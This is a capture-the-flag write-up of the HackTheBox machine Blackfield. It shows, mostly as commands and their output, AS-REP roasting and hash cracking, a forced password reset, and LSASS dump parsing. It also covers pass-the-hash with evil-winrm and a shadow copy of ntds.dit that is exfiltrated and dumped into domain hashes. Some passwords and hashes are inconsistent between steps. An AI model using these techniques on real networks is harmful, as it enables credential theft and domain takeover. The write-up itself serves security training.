HackTheBox - Blackfield
Blackfield is a Windows Active Directory HackTheBox machine, which involved retrieving a list of domain users from an SMB share, requesting and cracking the encrypted TGT to recover the password for the service account with kerberos pre-auth disabled (a.k.a. AS-REP Roasting), resetting the password for another user by leveraging the ForceChangePassword privilege, gaining access to a SMB share with memory dump backup files, one of which was for the LSASS process, and dump the hashes offline with pypykatz, and finally taking advantage of the Backup Operators
group membership to create a shadow copy of ntds.dit to recover the password for the Administrator user.
Reconnaissance
Port Scan
Let’s start with a nmap port scan for top1000 TCP ports with service/version detection.
nmap -sV -vvv -oA nmap/initial 10.10.10.192
PORT STATE SERVICE REASON VERSION
53/tcp open domain? syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2020-06-07 16:38:32Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
...[snip]...
By reviewing nmap’s output, it’s pretty clear that the machine is an Active Directory domain controller.
SMB Enumeration
By poking at the SMB server with crackmapexec
we can enumerate a few useful info about the box:
$ crackmapexec smb 10.10.10.192
SMB 10.10.10.192 445 DC01 [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
In this case, the only relevant info are the OS and build version (Windows Server 2019) and the server’s hostname is DC01.BLACKFIELD.local
.
Null sessions are allowed, so using smbmap
and specifying a user with the -u
option (any name is ok), we can list all SMB shares.
$ smbmap -H 10.10.10.192 -u 'guest'
[+] IP: 10.10.10.192:445 Name: 10.10.10.192
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
forensic NO ACCESS Forensic / Audit share.
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
profiles$ READ ONLY
SYSVOL NO ACCESS Logon server share
The profiles$
share contains about 300 empty directories, which names looks like domain users’ usernames. We can save the directory listing to file with smbclient
, and use awk
to skip the first two entries (.
and ..
), limiting the output to the column with the names.
$ smbclient -N //10.10.10.192/profiles$ -c ls | awk 'FNR > 2 {print $1}' > profiles.lst
$ head -n 25 < profiles.lst
. D 0 Wed Jun 3 12:47:12 2020
.. D 0 Wed Jun 3 12:47:12 2020
AAlleni D 0 Wed Jun 3 12:47:11 2020
ABarteski D 0 Wed Jun 3 12:47:11 2020
ABekesz D 0 Wed Jun 3 12:47:11 2020
ABenzies D 0 Wed Jun 3 12:47:11 2020
ABiemiller D 0 Wed Jun 3 12:47:11 2020
AChampken D 0 Wed Jun 3 12:47:11 2020
ACheretei D 0 Wed Jun 3 12:47:11 2020
...[snip]...
Going through the list, there are a few names that stand outs, as they doesn’t have the same format as the other ones (they’re lowercase). We can extract them using a regex with grep
.
$ grep -v '[^[:lower:]0-9!+,_-]' profiles.lst | tee accounts.lst
audit2020
support
svc_backup
A quick way of verying that these are indeed valid domain accounts is sending AS-REQ requests to the KDC, and see if it responds with a PRINCIPAL UNKNOWN
error (user doesn’t exist) or with a AS-REP message (user exists).
$ kerbrute userenum --dc 10.10.10.192 -d blackfield accounts.lst
All 3 are valid domain accounts:
2020/08/31 19:29:16 > [+] VALID USERNAME: audit2020@blackfield
2020/08/31 19:31:13 > [+] VALID USERNAME: svc_backup@blackfield
2020/08/31 19:31:13 > [+] VALID USERNAME: support@blackfield
Access as user service
With a list of potentially valid domain accounts, we can check is if Kerberos pre-authentication is not required for each one of them. By default the UF_DONT_REQUIRE_PREAUTH
flag is unset, and must be set manually for each domain account to make them vulnerable to AS-REP roasting.
Using impacket’s GetNPUsers.py
script we can request an encrypted TGT for each one of the account:
$ while read user; do impacket-GetNPUsers -request -dc-ip 10.10.10.192 blackfield.local\$user; done < accounts.lst
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$support@BLACKFIELD:3bbf5b20456f9539e6b59d29278fe01b$d0e38c74a27a2e1d46b2269b8[...]
blackfield.local\service
account have UF_DONT_REQUIRE_PREAUTH
flag enabled. Using hashcat
with mode 18200
we can attempt to crack the hash.
$ hashcat -m 18200 krb-hash.txt /usr/share/wordlists/rockyou.txt
...[snip]...
Dictionary cache built:
+ Filename..: /usr/share/wordlists/rockyou.txt
+ Passwords.: 14344392
+ Bytes.....: 139921507
+ Runtime...: 1 sec
$krb5asrep$23$support@BLACKFIELD.LOCAL:83f252224f04becb310[...]80ec6b1bb9d13c0:#00^BlackKnight
Luckily for us, the password was in rockyou.txt
, so we finally have valid credentials for the domain user support
.
Access as user audit2020
With support
creds, we could try to get a foothold on the server via WinRM, but unfortunately audit2020
user wasn’t member of the Remote Management Users
group.
$ rpcclient -U 'blackfield/support%#00^BlackKnight' 10.10.10.192 \
-c "enumalsgroups builtin"
group:[Server Operators] rid:[0x225]
group:[Account Operators] rid:[0x224]
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
...[snip]...
group:[Remote Management Users] rid:[0x244]
group:[Storage Replica Administrators] rid:[0x246]
$ rpcclient -U 'blackfield/support%#00^BlackKnight' 10.10.10.192 \
-c "queryaliasmem builtin 0x244"
sid:[S-1-5-21-4194615774-2175524697-3563712290-1413]
$ rpcclient -U 'blackfield/support%#00^BlackKnight' 10.10.10.192 \
-c "lookupsids S-1-5-21-4194615774-2175524697-3563712290-1413"
S-1-5-21-4194615774-2175524697-3563712290-1413 BLACKFIELD\svc_backup (1)
The only account which is allowed to access the server via WinRM is apparently svc_backup
user. We can take note of that and move on for now.
No luck with kerberoasting either.
$ GetUserSPNs.py -request -dc-ip 10.10.10.192 'blackfield.local/support:##00^BlackKnight'
...[snip]...
No entries found!
Since we have valid creds but no foothold on the server, we can use BloodHound.py
ingestor and collect info via LDAP, to discovery potential attack paths.
If we mark the support
user as owned, and the audit
user as end node, we can see that support
have the ForceChangePassword
permission, which can be leveraged to reset the password for the end user, as the name suggest.
Using rpcclient
we can connect to the server and set a new password for the audit2020
user.
$ rpcclient -U 'support' 10.10.10.192
Enter WORKGROUP\support's password:
rpcclient $> setuserinfo2 audit2020 23 'Password123!'
rpcclient $> exit
Access as user svc_backup
Once again we go back to the enum phase, and check if the audit2020
user have access to any new SMB share.
smbmap -H 10.10.10.192 -u 'audit2020' -p 'P4zzword123'
[+] IP: 10.10.10.192:445 Name: BLACKFIELD.local
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
forensic READ ONLY Forensic / Audit share.
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
profiles$ READ ONLY
SYSVOL READ ONLY Logon server share
User audit2020
have read access to the forensics
share, so we can mount it locally and see what’s inside.
sudo mount -t cifs //10.10.10.192/forensic smb-mounts \
-o "username=audit2020,password=P4zzword123"
$ cd smb-mounts/memory_analysis
$ ls -la
total 506012
drwxr-xr-x 2 root root 8192 May 28 19:28 .
drwxr-xr-x 2 root root 4096 Feb 23 12:03 ..
-rwxr-xr-x 1 root root 37876530 May 28 19:25 conhost.zip
-rwxr-xr-x 1 root root 24962333 May 28 19:25 ctfmon.zip
-rwxr-xr-x 1 root root 23993305 May 28 19:25 dfsrs.zip
-rwxr-xr-x 1 root root 18366396 May 28 19:26 dllhost.zip
-rwxr-xr-x 1 root root 8810157 May 28 19:26 ismserv.zip
-rwxr-xr-x 1 root root 41936098 May 28 19:25 lsass.zip
-rwxr-xr-x 1 root root 64288607 May 28 19:25 mmc.zip
-rwxr-xr-x 1 root root 13332174 May 28 19:26 RuntimeBroker.zip
-rwxr-xr-x 1 root root 131983313 May 28 19:26 ServerManager.zip
...[snip]...
The memory_analysis
folder contains several archives which looks like process dumps. The most interesting one is definitely lsass.zip
. We can make a copy of it so that we can use pypykatz to dump the users hashes.
$ unzip lsass.zip
$ pypykatz lsa minidump lsass.DMP
[...]
== LogonSession ==
authentication_id 406499 (633e3)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406499
== MSV ==
Username: svc_backup
Domain: BLACKFIELD
LM: NA
NT: 9658d1d1dcd9250115e2205d9f48400d
SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
[...]
From previous enumeration, we know that svc_backup
user was in the Remote Management Users
group, so we can use evil-winrm
with the -H
option to login into the box with Pass the Hash (PtH).
$ evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
[...]
*Evil-WinRM* PS C:\Users\svc_backup\Documents>
Finally with a shell on the box we can grab the user flag:
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> cat user.txt
0a4b86dc8[...]
Privilege Escalation to Administrator
The svc_backup
user is a member of the Backup Operators
group, and has the SeBackupPrivilege
, which is a pretty powerful privilege that allows for the creation of a shadow copy of the current state of the domain controller.
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> net user svc_backup
User name svc_backup
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/23/2020 10:54:48 AM
Password expires Never
Password changeable 2/24/2020 10:54:48 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 2/23/2020 11:03:50 AM
Logon hours allowed All
Local Group Memberships *Backup Operators *Remote Management Use
Global Group memberships *Domain Users
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
By following the steps described
here
we can take advantage of the SeBackupPrivilege
we can create and upload a script file for diskshadow
utility tool to create a copy of the ntds.dit
file, which is an encrypted database that contains the hashes for all the users in the domain.
First let’s create the script:
set metadata C:\temp\srvdc1\metadata.cab
set context clientaccessible
set context persistent
begin backup
add volume c: alias mydrive
create
expose %mydrive% z:
Then we upload the script and use diskshadow
to run it:
*Evil-WinRM* PS C:\temp> upload shadowscript.txt
*Evil-WinRM* PS C:\temp> diskshadow /s shadowscript.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC01, 10/5/2020 4:30:22 PM
-> set metadata C:\Windows\System32\spool\drivers\color\sss.cab
-> set context clientaccessible
-> set context persistent
-> begin backup
-> add volume c: alias coldfx
-> create
Alias coldfx for shadow ID {87e12f70-64e3-4f5f-bebb-66a01dafae89} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {afca95ea-15c2-4467-8f35-70e36c7ed6fe} set as environment variable.
...[snip]...
Number of shadow copies listed: 1
-> expose %coldfx% z:
-> %coldfx% = {87e12f70-64e3-4f5f-bebb-66a01dafae89}
The shadow copy was successfully exposed as z:\.
->
Note: END BACKUP was not commanded, writers not notified BackupComplete.
DiskShadow is exiting.
Using robotocopy
with /b
flag to ingore file permissions we can save the ntds.dit
file to C:\temp
:
Evil-WinRM* PS C:\temp> robocopy /b z:\windows\ntds . ntds.dit
[...]
Now we can download the copy of ntds.dit
file, and grab the system registry hive, which contains the System boot key, needed to decrypt the ntds database.
*Evil-WinRM* PS C:\temp> download ntds.dit ntds.dit.bak
Info: Downloading C:\temp\ntds.dit to ntds.dit.bak
*Evil-WinRM* PS C:\temp> reg save HKLM\SYSTEM C:\temp\system
The operation completed successfully.
*Evil-WinRM* PS C:\temp> download system system.bak
Info: Downloading C:\temp\system to system.bak
Using impacket-secretsdump
script, we can parse ntds.dit
and extract the NTLM hashes.
$ impacket-secretsdump -ntds ntds.dit.bak -system system.bak local
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:65557f7ad03ac340a7eb12b9462f80d6:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:c95ac94a048e7c29ac4b4320d7c9d3b5:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
BLACKFIELD.local\BLACKFIELD764430:1105:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD538365:1106:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
[...]
Finally wan can use the Administrator hash, get a shell via WinRM + PtH, and grab the root flag.
$ evil-winrm -i 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee
[...]
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
5b97351ac74d[...]
References
- MITRE: Steal or Forge Kerberos Tickets: AS-REP Roastinghttps://attack.mitre.org/techniques/T1558/004/
- github.com - fox-it/BloodHound.pyhttps://github.com/fox-it/BloodHound.py
- github.com - skelsec/pypykatzhttps://github.com/skelsec/pypykatz
- HIP2019 Andrea Pierini, show me your privileges and I will lead you to SYSTEMhttps://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privi …